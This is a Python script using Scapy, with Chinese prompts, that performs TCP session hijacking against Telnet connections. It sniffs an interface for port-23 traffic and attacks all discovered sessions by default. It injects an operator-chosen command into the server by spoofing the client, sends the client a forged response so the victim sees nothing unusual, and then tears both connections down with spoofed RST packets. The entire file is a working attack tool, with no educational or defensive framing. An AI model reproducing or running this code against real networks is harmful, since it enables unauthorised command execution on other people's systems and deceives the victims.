#!/usr/bin/env python3
from scapy.all import sniff, send, IP, TCP, get_if_list
from collections import Counter, defaultdict
import time

TARGET_PORT = 23
DISCOVER_SECONDS = 5

direction_counts = Counter()
client_ports = Counter()

injection_done = False
iface = None


def choose_iface() -> str:
    ifaces = get_if_list()
    if not ifaces:
        raise RuntimeError("没有发现可用网卡")
    print("可用网卡：")
    for i, name in enumerate(ifaces, 1):
        print(f"  [{i}] {name}")
    while True:
        choice = input("请选择要监听的 iface（输入编号或网卡名）: ").strip()
        if choice in ifaces:
            return choice
        if choice.isdigit():
            idx = int(choice)
            if 1 <= idx <= len(ifaces):
                return ifaces[idx - 1]
        print("输入无效，请重新选择。")


def collect_telnet_pairs(iface: str, seconds: int = DISCOVER_SECONDS):
    pairs = {}
    def collect(pkt):
        if IP not in pkt or TCP not in pkt:
            return
        ip = pkt[IP]
        tcp = pkt[TCP]
        if tcp.sport != TARGET_PORT and tcp.dport != TARGET_PORT:
            return
        if tcp.dport == TARGET_PORT:
            client_ip = ip.src
            server_ip = ip.dst
        else:
            client_ip = ip.dst
            server_ip = ip.src
        key = (client_ip, server_ip)
        if key not in pairs:
            pairs[key] = {"client": client_ip, "server": server_ip, "count": 0}
        pairs[key]["count"] += 1
    print(f"\n[*] 正在 iface={iface} 上收集当前 Telnet 连接，持续 {seconds} 秒...")
    sniff(iface=iface, filter="tcp and port 23", prn=collect, store=0, timeout=seconds)
    return pairs


def choose_target_pair(pairs):
    if not pairs:
        print("[!] 没有发现任何和 23 端口相关的 TCP 连接")
        return None
    items = list(pairs.items())
    print("\n发现的 Telnet 连接：")
    for i, ((client_ip, server_ip), meta) in enumerate(items, 1):
        print(f"  [{i}] client={client_ip} <-> server={server_ip} (抓到 {meta['count']} 个相关包)")
    print("\n默认攻击所有发现的连接。")
    choice = input("按回车攻击全部；输入编号只攻击某一对 IP: ").strip()
    if choice == "":
        return None
    if choice.isdigit():
        idx = int(choice)
        if 1 <= idx <= len(items):
            key, _ = items[idx - 1]
            return key
    print("输入无效，默认攻击全部。")
    return None


def tcp_payload_len(pkt):
    ip = pkt[IP]
    tcp = pkt[TCP]
    ip_len = ip.len if ip.len is not None else len(bytes(ip))
    ip_header_len = ip.ihl * 4
    tcp_header_len = tcp.dataofs * 4
    length = ip_len - ip_header_len - tcp_header_len
    return max(length, 0)


def packet_matches_target(pkt, selected_pair):
    if IP not in pkt or TCP not in pkt:
        return False
    ip = pkt[IP]
    tcp = pkt[TCP]
    if tcp.sport != TARGET_PORT and tcp.dport != TARGET_PORT:
        return False
    if tcp.dport == TARGET_PORT:
        client_ip = ip.src
        server_ip = ip.dst
    else:
        client_ip = ip.dst
        server_ip = ip.src
    if selected_pair is None:
        return True
    return (client_ip, server_ip) == selected_pair


def hijack_session(pkt):
    """执行一次 TCP 会话劫持，返回 True 表示成功注入，False 表示未注入（需继续等待）"""
    global iface
    ip = pkt[IP]
    tcp = pkt[TCP]

    # 检查原始包是否包含回车，避免命令拼接
    payload = bytes(tcp.payload)
    if b'\r' not in payload and b'\n' not in payload:
        print("[!] 当前包不包含回车，等待用户输入完整命令后再注入...")
        return False  # 未注入，继续监听

    # 计算注入包的序列号
    payload_len = tcp_payload_len(pkt)
    inject_seq = tcp.seq + payload_len
    inject_ack = tcp.ack

    # 获取用户输入的命令
    cmd = input("请输入要注入的命令（默认 echo hello world）: ").strip()
    if not cmd:
        cmd = "echo hello world"
    data = cmd + "\r\n"

    # 1. 发送注入包给服务器（伪装成客户端）
    inject_pkt = IP(src=ip.src, dst=ip.dst) / TCP(
        sport=tcp.sport,
        dport=tcp.dport,
        flags="PA",  # PUSH+ACK，确保立即交付
        seq=inject_seq,
        ack=inject_ack,
        window=tcp.window,
        options=tcp.options
    ) / data
    send(inject_pkt, verbose=0)
    print(f"[*] 注入命令: {cmd} 到服务器 {ip.dst}")

    # 2. 伪造服务器响应包发送给客户端
    fake_data = "hello world\r\n"
    fake_seq = tcp.ack          # 服务器当前的序列号
    fake_ack = inject_seq + len(data)  # 期望的下一个客户端序列号
    fake_resp = IP(src=ip.dst, dst=ip.src) / TCP(
        sport=tcp.dport,
        dport=tcp.sport,
        flags="PA",
        seq=fake_seq,
        ack=fake_ack,
        window=tcp.window,
        options=tcp.options
    ) / fake_data
    send(fake_resp, verbose=0)
    print(f"[*] 发送伪造响应: {fake_data.strip()} 到客户端 {ip.src}")

    # 等待一小段时间，确保伪造响应先到达
    time.sleep(0.1)

    # 3. 发送 RST 给双方，断开连接
    rst_to_server = IP(src=ip.src, dst=ip.dst) / TCP(
        sport=tcp.sport,
        dport=tcp.dport,
        flags="R",
        seq=inject_seq + len(data)
    )
    send(rst_to_server, verbose=0)
    rst_to_client = IP(src=ip.dst, dst=ip.src) / TCP(
        sport=tcp.dport,
        dport=tcp.sport,
        flags="R",
        seq=fake_seq + len(fake_data)
    )
    send(rst_to_client, verbose=0)
    print("[*] 连接已断开")
    return True  # 注入成功


def handle(pkt, selected_pair):
    global injection_done
    if not packet_matches_target(pkt, selected_pair):
        return

    ip = pkt[IP]
    tcp = pkt[TCP]

    # 统计信息
    if tcp.dport == TARGET_PORT:
        direction = "client->server"
        client_port = tcp.sport
    else:
        direction = "server->client"
        client_port = tcp.dport
    direction_counts[direction] += 1
    client_ports[client_port] += 1

    print(
        f"[MATCH] {ip.src}:{tcp.sport} -> {ip.dst}:{tcp.dport} "
        f"flags={tcp.sprintf('%TCP.flags%')} seq={tcp.seq} ack={tcp.ack}"
    )

    # 仅在未注入且是客户端->服务器包时尝试劫持
    if not injection_done and tcp.dport == TARGET_PORT:
        success = hijack_session(pkt)
        if success:
            injection_done = True
            print("[*] 劫持完成，继续监听（可 Ctrl+C 退出）...")
        # 如果未成功（如不含回车），则继续等待后续包，不设置 injection_done


def main():
    global iface
    iface = choose_iface()
    print(f"\n[+] 已选择网卡: {iface}")

    pairs = collect_telnet_pairs(iface, DISCOVER_SECONDS)
    selected_pair = choose_target_pair(pairs)

    if selected_pair is None:
        print("\n[+] 当前模式：攻击所有发现的 Telnet 连接")
        bpf = "tcp and port 23"
    else:
        client_ip, server_ip = selected_pair
        print(f"\n[+] 当前模式：只攻击 {client_ip} <-> {server_ip}")
        bpf = f"tcp and host {client_ip} and host {server_ip} and port 23"

    print(f"[*] 开始监听 iface={iface}")
    print("[*] 按 Ctrl+C 停止\n")

    try:
        sniff(
            iface=iface,
            filter=bpf,
            prn=lambda pkt: handle(pkt, selected_pair),
            store=0
        )
    except KeyboardInterrupt:
        print("\n=== Summary ===")
        print(f"client->server packets: {direction_counts['client->server']}")
        print(f"server->client packets: {direction_counts['server->client']}")
        print("Observed client source ports:")
        for port, count in client_ports.most_common():
            print(f"  {port}: {count} packets")


if __name__ == "__main__":
    main()